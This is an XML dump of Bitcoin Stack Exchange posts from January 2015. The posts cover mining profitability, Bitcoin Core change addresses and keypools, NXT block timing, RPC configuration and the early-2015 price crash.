  <row Id="35506" PostTypeId="2" ParentId="35449" CreationDate="2015-01-14T16:03:22.670" Score="1" Body="&lt;p&gt;I'm currently mining with an KNC Neptune Asic miner since june of 2014.&#xA;At 20nm silicon it's the most energy efficient miner currently in use(0.07 w/Gh/s) and currently it produces about 1 BTC per month at current difficulty(I got 1 BTC every 3-4 days for the first few weeks after delivery).&#xA;It's pulling a steady 2140 watts at the wall socket(3500 Gh/s) so at today's price(&amp;lt; $200) its definitely losing me money. So financially it would be cheaper for me to switch it off and buy from the exchanges.&#xA;That said if a large chunk of miners actually did this we would all be in trouble so I'll keep it running. I believe that some of the cloud mining companies have actually started to switch off some of their miners(probably not as efficient as the neptune) even thou peeps have paid contracts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Profitability from bitcoin mining is all about timing, the neptune cost me 10.5 bitcoin because the price was nearly $1200 on the day I paid for it, less than $2000 at todays price. I owned a 3 board KNC Saturn/Jupiter(28nm) before that which paid for the Neptune and then some, which itself was paid for by GPU mining which was paid for by cpu mining.  If you're in the first 1000 of the latest mining technology delivery you can make some coin.&lt;/p&gt;&#xA;" OwnerUserId="5908" LastEditorUserId="5908" LastEditDate="2015-01-15T09:04:32.777" LastActivityDate="2015-01-15T09:04:32.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35507" PostTypeId="1" AcceptedAnswerId="35509" CreationDate="2015-01-14T16:22:14.487" Score="2" ViewCount="1891" Body="&lt;p&gt;I understand the reasons for wanting to use new change address for each transaction, but am unsure as to how they are treated by the Bitcoin core client. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is the address deleted as soon as the funds it received as change are spent?&lt;/li&gt;&#xA;&lt;li&gt;The client probably doesn't watch for any further sends to these addresses, right?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2022-01-23T23:19:04.340" Title="How are change addresses treated differently by Bitcoin Core?" Tags="|change|bitcoin-core-development|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35508" PostTypeId="2" ParentId="35507" CreationDate="2015-01-14T16:27:54.330" Score="1" Body="&lt;p&gt;&lt;strong&gt;Change addresses are no different than other addresses, except that they do not get shown in the UI, i.e. they are not visible in the recent transactions column. Just like all other addresses they will be checked for new balances whenever a new block is added to the database.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinCore keeps a number of unused addresses on hand of the size of &lt;code&gt;keypool&lt;/code&gt;. The standard setting is 100 keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you create a transaction that doesn't spend a previous UTXO completely, the change gets sent to one of the previously unused addresses in the keypool, and a new address gets generated in the back of the keypool, to keep the number of unused addresses constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, when you request a &quot;new receiving address&quot; the first unused address from the &lt;code&gt;keypool&lt;/code&gt; is popped, and a new one is generated and pushed in the back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even before the addresses are visible, the addresses are stored in the &lt;code&gt;wallet.dat&lt;/code&gt; allowing you to create backups only every once in a while. (Well, you should at least every &lt;code&gt;keypool&lt;/code&gt; transactions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The keypool will only be refilled if the wallet is unlocked.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-04T14:16:20.083" LastActivityDate="2015-05-04T14:16:20.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35509" PostTypeId="2" ParentId="35507" CreationDate="2015-01-14T16:59:53.953" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Is the address deleted as soon as the funds it received as change are spent? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;No, the change address is not deleted but it is stored as another of your key pairs of your wallet. Bassically when you make a transaction with 1 BTC spending only 0.7 the remaining 0.3 BTC is send to &lt;strong&gt;new address&lt;/strong&gt; that is stored inside the client (current account) waiting for new transaction from operating &quot;main&quot; address to occur. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try yourself list your addresses (after you spend input on one of your change addreses) with command: &lt;strong&gt;listaddressgroupings&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;The client probably doesn't watch for any further sends to these addresses, right?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;No, the client updates the balance on &lt;strong&gt;all keys&lt;/strong&gt; inside the client. The change address can receive and sends BTC. The remaining funds will be updated as part of the main bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information see: &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;Change on Bitcoin wiki&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2015-01-14T17:26:20.627" LastActivityDate="2015-01-14T17:26:20.627" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35511" PostTypeId="1" AcceptedAnswerId="35525" CreationDate="2015-01-14T18:36:12.090" Score="1" ViewCount="857" Body="&lt;p&gt;I see this referenced in many places with NXT for 1440 blocks. How long is that exactly? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-01-15T06:55:29.020" Title="In NXT, how long do you have to wait for 1440 blocks to be mined?" Tags="|block|nxt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35512" PostTypeId="2" ParentId="35511" CreationDate="2015-01-14T18:37:44.500" Score="1" Body="&lt;p&gt;1440 blocks in nxt is about 24 hours. Since nxt blocks are generated every minute, thats 1440 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1440 minutes / 60 minutes = 24 hours&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NXT block generation isnt exactly 1 minute as some blocks are solved once every few minutes, but on average its about 1 minute. Hence the 1440 block mentions you see everywhere. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-01-14T18:37:44.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35513" PostTypeId="1" AcceptedAnswerId="35514" CreationDate="2015-01-14T18:39:03.813" Score="2" ViewCount="298" Body="&lt;p&gt;I downloaded the new nxt platform and want to try out the testnet system for new features. How do you get the testnet running on your local system?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-01-14T18:42:15.513" Title="How do you access the NXT testnet to test out new features of the system?" Tags="|testnet|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35514" PostTypeId="2" ParentId="35513" CreationDate="2015-01-14T18:42:15.513" Score="2" Body="&lt;p&gt;Download the latest NXT, and goto your conf folder and there is a nxt configuration file there. Open it with a text editor and find the line that mentions &quot;testnet = false&quot; - Change that false to &lt;strong&gt;true&lt;/strong&gt; and then launch the NXT application. (run.bat on windows) Once its booted up you'll see in &quot;NXT server started&quot; message. Then you goto:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost:6876&quot; rel=&quot;nofollow&quot;&gt;http://localhost:6876&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NXT testnet is port: 6876&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-01-14T18:42:15.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35515" PostTypeId="2" ParentId="35484" CreationDate="2015-01-14T20:44:02.327" Score="2" Body="&lt;p&gt;After connecting to bitcoin-core (0.10.0rc3) I received:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR: CScriptCheck() : 620186f101b7db97393af8747923db4cf3f30c3c3c48f4c7cfc23567b6d9ca07:0 VerifySignature failed: Data push larger than necessary&#xA;ERROR: AcceptToMemoryPool: : ConnectInputs failed 620186f101b7db97393af8747923db4cf3f30c3c3c48f4c7cfc23567b6d9ca07&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Thanks bitcoin devs for &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/ab9edbd6b6eb3efbca11f16fa467c3c0ef905708&quot; rel=&quot;nofollow&quot;&gt;adding sane error messages&lt;/a&gt;!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here I noticed I was building the transaction with an outdated fork of &lt;a href=&quot;https://github.com/lian/bitcoin-ruby&quot; rel=&quot;nofollow&quot;&gt;bitcoin-ruby&lt;/a&gt;, &lt;strong&gt;updating to the latest bitcoin-ruby fixed this issue&lt;/strong&gt; (On both 0.9.03 and 0.10.0). Still not sure why it would only relay after a bitcoind restart, will edit this answer if I figure this out.&lt;/p&gt;&#xA;" OwnerUserId="15126" LastActivityDate="2015-01-14T20:44:02.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35516" PostTypeId="2" ParentId="35494" CreationDate="2015-01-14T22:13:12.670" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin’s price has crashed. There is simply no other way to describe&#xA;  the -40% price decline that occurred in the first two weeks of 2015.&#xA;  It’s dismal, it’s disappointing and it’s a normal part of a free and&#xA;  open market. While Bitcoin is a transformative technology, it is not&#xA;  immune to the greed and fear that permeate every financial market.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Speculating on the true intentions of buyers and sellers in any market&#xA;  is a fool’s errand, but we can identify some catalysts. In this case,&#xA;  there appears to be three events that could be to blame for the price&#xA;  crash: BitStamp, CEX.io, and Russia.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;BitStamp&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;BitStamp is one of the largest bitcoin exchanges and it was hacked&#xA;  last week. Before the exchange realized what was going on it lost over&#xA;  $5m in bitcoins to the hackers. To its credit, BitStamp shut down&#xA;  operations and made every investor whole before re-opening with vastly&#xA;  improved security.  Nonetheless, the blow to confidence in undeniable&#xA;  and its seems plausible that some investors were spooked and&#xA;  liquidated holdings.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;CEX.IO&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;CEX is one of the largest mining operations in the world - it operates&#xA;  the GHash mining pool and sells mining contracts via the cloud - in&#xA;  the digital currency industry this is called ‘cloud mining’.  The&#xA;  recent price slump has made these mining contracts unprofitable and&#xA;  CEX has shut down these mining operations.  It’s likely that owners of&#xA;  these contracts have liquidated in favor of fiat currency - weighing&#xA;  on the price of bitcoin. Coindesk has an excellent post on the subject&#xA;  here.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Russia&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Russia has threatened to make Bitcoin illegal for the better part of&#xA;  2014. However, it had not taken any action until recently.  This lack of action made bitcoin a hot investment as the Russian currency&#xA;  collapsed. Many speculated that wealthy Russians were using bitcoin as&#xA;  a way to withdraw money from Russia. In the last few days, Russia has&#xA;  begun to ban Bitcoin websites. For those interested in reading more,&#xA;  Engadget has a good post here.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Negative Feedback Loop&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unfortunately, these catalysts are conspiring to create negative&#xA;  feedback loop - the falling price is making more mining operations&#xA;  unprofitable, which in turn is resulting in more liquidation. This&#xA;  phenomenon is not unusual in markets and identifying these feedback&#xA;  loops can be quite profitable.  Until another catalyst forms and&#xA;  breaks the loop the price of bitcoin will remain depressed.  &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I don’t know when or what will break the loop, but I do know that this&#xA;  will not be the last time it occurs.  There are few guarantees in&#xA;  financial markets, but I am sure that bitcoin will experience&#xA;  irrational bubbles, crashes and feed back loops (positive and&#xA;  negative). This fact has nothing to do with bitcoin the currency or&#xA;  technology; it has everything to do with human nature. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Like any market, Bitcoin is an open natural system and is subject to&#xA;  the panic and euphoria that engulf all financial markets from time to&#xA;  time. It’s dismal, it’s depressing and…it’s normal.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Good explanation from here: &lt;a href=&quot;http://briankellycap.tumblr.com/post/108083988817/why-bitcoins-price-has-crashed&quot; rel=&quot;nofollow&quot;&gt;http://briankellycap.tumblr.com/post/108083988817/why-bitcoins-price-has-crashed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-01-14T22:13:12.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35517" PostTypeId="1" CreationDate="2015-01-14T23:06:33.523" Score="0" ViewCount="2483" Body="&lt;p&gt;I'm trying to create a bitcoin address with the &lt;a href=&quot;https://github.com/laanwj/bitcoin-python&quot; rel=&quot;nofollow&quot;&gt;bitcoin-python&lt;/a&gt; library.  I tried this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bitcoinrpc&#xA;bitcoinrpc.connect_to_local().getnewaddress()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I got this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: [Errno 10061] No connection could be made because the target machine actively refused it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running the bitcoind daemon.  Why am I getting this error and how do I fix it?&#xA;or can someone direct me to an easier way to learn to develop with bitcoin -&lt;/p&gt;&#xA;" OwnerUserId="22918" LastActivityDate="2015-01-28T16:12:31.983" Title="How to use bitcoin-python" Tags="|bitcoind|bitcoin-core|python|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35518" PostTypeId="1" AcceptedAnswerId="35541" CreationDate="2015-01-15T00:31:52.877" Score="3" ViewCount="548" Body="&lt;p&gt;&lt;a href=&quot;http://stellar.org/&quot; rel=&quot;nofollow&quot;&gt;The Stellar network&lt;/a&gt; allows users &lt;a href=&quot;http://usestellar.org/pool/&quot; rel=&quot;nofollow&quot;&gt;to vote&lt;/a&gt; on who will earn its 1% annual STR inflation. I am wondering - is this information publicly available on the Stellar ledger or somewhere else? How can one find out which account voted for who and how big their voting power was at the time of the vote?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-10-21T07:16:01.683" Title="Is the Stellar inflation voting public?" Tags="|inflation|live-data|voting|stellar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35519" PostTypeId="2" ParentId="30370" CreationDate="2015-01-15T02:00:02.750" Score="5" Body="&lt;p&gt;Each miner (or mining pool) sets their own policy, but miners using &lt;a href=&quot;https://bitcoin.org/en/release/v0.9.0&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Core 0.9.0&lt;/a&gt; and later will, by default, mine &lt;code&gt;OP_RETURN&lt;/code&gt; (null data) outputs with zero value.  They will not, by default, mine any other outputs with a value below the dust threshold, which is 1/3 as many satoshis as it would take to relay the output plus the corresponding input according to your node's relay fee policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if your node's relay fee is 1000 satoshis per kilobyte, the output is a 36 byte &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-p2pkh&quot; rel=&quot;noreferrer&quot;&gt;P2PKH&lt;/a&gt; script, and the input that spends it is expected to be 148 bytes, then the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/6a4c196dd64da2fd33dc7ae77a8cdd3e4cf0eff1#diff-279f95e952b2c1cff13bdfbcd7bc36eeR151&quot; rel=&quot;noreferrer&quot;&gt;minimum allowed value is 546 satoshis&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn more about the default Bitcoin Core rules, you want to check its IsStandard() function which determines what transactions it accepts into its memory pool.  Bitcoin Core will mine anything in its memory pool.  The rules have changed a lot over time, so here are a few different links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.9/src/main.cpp#L501&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Core 0.9.x latest rules&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/src/main.cpp#L625&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Core 0.10.x latest rules&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L633&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Core development branch latest rules&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Note: the links above may not point to the right place if code gets moved around.  Just search the page displayed for &quot;IsStandard&quot;.)&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-15T02:00:02.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35520" PostTypeId="2" ParentId="35517" CreationDate="2015-01-15T02:19:25.053" Score="1" Body="&lt;p&gt;Most likely you have not enabled JSON-RPC server in your &lt;code&gt;bitcoin.conf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Enable JSON-RPC&#xA;server=1&#xA;&#xA;# Username and password&#xA;rpcuser=foo&#xA;rpcpassword=bar&#xA;&#xA;# This must be enabled for gettransaction() to work&#xA;txindex=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information see&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cryptoassetscore.readthedocs.org/en/latest/backends.html#module-cryptoassets.core.backend.bitcoind&quot; rel=&quot;nofollow&quot;&gt;http://cryptoassetscore.readthedocs.org/en/latest/backends.html#module-cryptoassets.core.backend.bitcoind&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-01-15T02:19:25.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35521" PostTypeId="2" ParentId="30299" CreationDate="2015-01-15T02:24:38.430" Score="1" Body="&lt;p&gt;There are no timeouts, and a valid transaction can be mined at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that can ensure a particular transaction won't get mined in the current block chain is to make it invalid.  The only practical way to do that is to create a confirmed double spend---another transaction that spends one of the same inputs as the transaction you don't want mined.  Once that double spend is confirmed, your original transaction can't be added to a block in the same block chain as the confirmed double spend.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-15T02:24:38.430" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35522" PostTypeId="2" ParentId="9068" CreationDate="2015-01-15T02:42:06.167" Score="1" Body="&lt;p&gt;There are some neat solutions here, and maybe this is just overly simple but, if you're legitimately catching up to the blockchain and not basically at the end so only getting that new block once every ~ 10 minutes, look at your cpu usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on linux, run &quot;top&quot;.  bitcoind will be working its butt off calculating every hash of every block through the blockchain.  Once it's caught up, it's basically idle.&lt;/p&gt;&#xA;" OwnerUserId="22924" LastActivityDate="2015-01-15T02:42:06.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35524" PostTypeId="1" AcceptedAnswerId="35538" CreationDate="2015-01-15T06:46:55.423" Score="2" ViewCount="578" Body="&lt;p&gt;I found this site: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://guadagnarebitcoins.altervista.org&quot; rel=&quot;nofollow&quot;&gt;http://guadagnarebitcoins.altervista.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think? Is it a scam? Are the things listed on it scams?&lt;/p&gt;&#xA;" OwnerUserId="22928" LastEditorUserId="2306" LastEditDate="2015-04-08T07:32:36.590" LastActivityDate="2015-04-08T07:32:36.590" Title="Is guadagnarebitcoins a scam?" Tags="|earnings|" AnswerCount="2" CommentCount="1" ClosedDate="2017-11-11T00:43:30.213" ContentLicense="CC BY-SA 3.0" />
  <row Id="35525" PostTypeId="2" ParentId="35511" CreationDate="2015-01-15T06:55:29.020" Score="1" Body="&lt;p&gt;1440 is the number of minutes in a day. The Nxt software is designed to generate a new block approximately once per minute. In practice the average time is greater, typically in the 80-90 second range, but can range from a few seconds to hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1440 was chosen as the number of confirmations needed before a lease takes effect. This delay reduces the risk of an attack on the blockchain which could result from predicting which node will forge next, much easier to do in a short time frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;720 was chosen as the maximum number of blocks that can be reorganized on the top of the blockchain. This limit prevents attacks all the way back to the genesis block. Thus 720 confirmations is considered safe even for very large transactions. 10 confirmations is considered safe for small transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The choices of 1440 and 720 in the code design were arbitrary, and just as well could have been 1000 and 500, for example.&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2015-01-15T06:55:29.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35528" PostTypeId="2" ParentId="35524" CreationDate="2015-01-15T08:34:37.293" Score="1" Body="&lt;p&gt;First of all, Bitcoin is money &lt;em&gt;(or at least treated as such)&lt;/em&gt;. It is just another currency, just like USD, EUR, YEN, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you are asking: How do I earn money without working:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Arbitrage&lt;/li&gt;&#xA;&lt;li&gt;Interest&lt;/li&gt;&#xA;&lt;li&gt;Slavery&lt;/li&gt;&#xA;&lt;li&gt;Gambling &lt;em&gt;(however, I discourage anyone to do so, better open a casino)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;there might be more&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of these ways might need assets of some sort, and some time invested. &lt;em&gt;Wait, time invested? Isn't that work?&lt;/em&gt; - Yes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are not already filthy rich, you won't make bitcoin/usd/moneys without putting in time (a.k.a work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not have enough money to invest, get a job and make more money. Invest this. Only invest money that you can afford to lose.&lt;/p&gt;&#xA;" OwnerUserId="22915" LastActivityDate="2015-01-15T08:34:37.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35529" PostTypeId="2" ParentId="4006" CreationDate="2015-01-15T08:40:15.760" Score="2" Body="&lt;p&gt;On windows8, the data folder is here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Users\ ... your user name ...\AppData\Roaming\Bitcoin\&lt;/p&gt;&#xA;" OwnerUserId="22931" LastEditorUserId="2306" LastEditDate="2015-01-15T18:33:07.790" LastActivityDate="2015-01-15T18:33:07.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35530" PostTypeId="1" AcceptedAnswerId="35532" CreationDate="2015-01-15T11:24:46.667" Score="4" ViewCount="836" Body="&lt;p&gt;Is there any way by which I can receive each and every Bitcoin transaction that takes place on the Bitcoin network(not only my own wallet's transactions)? Just the way Blockchain.info provides a transaction stream no matter who made them and to whom they are going? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can txindex=1 helps in this regard too?&lt;/p&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2015-01-15T14:17:47.953" Title="walletNotify on every Bitcoin Network transaction" Tags="|transactions|bitcoind|bitcoin-core|wallet-notify|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35531" PostTypeId="2" ParentId="35530" CreationDate="2015-01-15T12:55:12.860" Score="0" Body="&lt;p&gt;Taking into account the P2P nature of the network, you are not exposed to all packets in the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions are broadcasted and forwarded in the P2P network before they are enclosed in a winning block, There is always a chance your node will not receive a specific transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems blockchain.info advertises transaction forwards it receives (it doesn't mean they receive everything). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having many nodes in different geographical areas increases their chances to receive more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are talking only about transactions in winning nodes on the block chain, then of course you can receive those.&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2015-01-15T12:55:12.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35532" PostTypeId="2" ParentId="35530" CreationDate="2015-01-15T14:17:47.953" Score="2" Body="&lt;p&gt;Jeff Garzik's &lt;a href=&quot;https://github.com/jgarzik/pynode&quot; rel=&quot;nofollow&quot;&gt;PyNode&lt;/a&gt; will, by default, connect to a Bitcoin Core running on local host a as a full node and download each transaction your node relays to it.  If you know Python, you can add extra triggers and post-processing to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, PyNode seems to be abandonware, and I think you currently need to hack it to get it to work with the latest versions of &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;python-bitcoinlib&lt;/a&gt;.  It may still work with an &lt;a href=&quot;https://github.com/jgarzik/python-bitcoinlib&quot; rel=&quot;nofollow&quot;&gt;older version of python-bitcoinlib&lt;/a&gt;.  You may also have better luck with &lt;a href=&quot;https://github.com/icook/pynode2&quot; rel=&quot;nofollow&quot;&gt;PyNode2&lt;/a&gt;, a fork of the original PyNode.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-15T14:17:47.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35533" PostTypeId="5" CreationDate="2015-01-15T15:42:33.383" Score="0" Body="&lt;p&gt;Mining rewards the miner who finds a block with some number of Bitcoin. This reward is dependent on the block subsidy at the time (the block subsidy halves every 210000 blocks and will eventually reach zero) and the transaction fees paid by all transactions in the block. The block reward is paid to the miner via the coin generation transaction, known as the &lt;a href=&quot;/questions/tagged/coinbase-transaction&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;coinbase-transaction&amp;#39;&quot; rel=&quot;tag&quot;&gt;coinbase-transaction&lt;/a&gt;, which is the first transaction of every block. The block reward can be no more than the current block subsidy plus the sum of all of the &lt;a href=&quot;/questions/tagged/transactions-fees&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;transactions-fees&amp;#39;&quot; rel=&quot;tag&quot;&gt;transactions-fees&lt;/a&gt; paid by all of the transactions in the block.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-07-28T12:04:40.343" LastActivityDate="2022-07-28T12:04:40.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35534" PostTypeId="4" CreationDate="2015-01-15T15:42:33.383" Score="0" Body="The monetary incentive for mining, especially how block rewards are generated, claimed, and composed. For questions specific to coin generation transactions (coinbase transactions) use the tag Coinbase-Transaction. For questions about the block reward halving, use the tag reward-schedule." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2022-07-28T12:04:40.343" LastActivityDate="2022-07-28T12:04:40.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35535" PostTypeId="1" CreationDate="2015-01-15T15:48:07.010" Score="1" ViewCount="5103" Body="&lt;p&gt;I want to maybe try my hand in Bitcoin but I don't know of many places around here that use it so converting it would be the best route for me. Any information would be extremely helpful. Thank you &lt;/p&gt;&#xA;" OwnerUserId="22937" LastEditorUserId="2306" LastEditDate="2015-01-15T18:34:00.007" LastActivityDate="2018-02-22T12:02:36.300" Title="How do I convert Bitcoin to and from my local currency?" Tags="|buy-bitcoins|sell-bitcoins|" AnswerCount="2" CommentCount="0" ClosedDate="2018-02-23T05:20:49.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="35536" PostTypeId="1" AcceptedAnswerId="35537" CreationDate="2015-01-15T16:37:15.600" Score="1" ViewCount="1738" Body="&lt;p&gt;If I call &lt;code&gt;getpeerinfo&lt;/code&gt; through RPC on one of my nodes, it gives me a list of info about my peers, including my peer's &quot;banscore&quot; for each of its peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do the reverse. &lt;strong&gt;Can I get my peer's ban score for my node?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe there isn't a way to do this because it would allow peers to misbehave in small ways and keep track of how close they are to getting banned.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-15T16:53:58.710" Title="How can I get my peer's ban score for my node?" Tags="|peers|banscore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
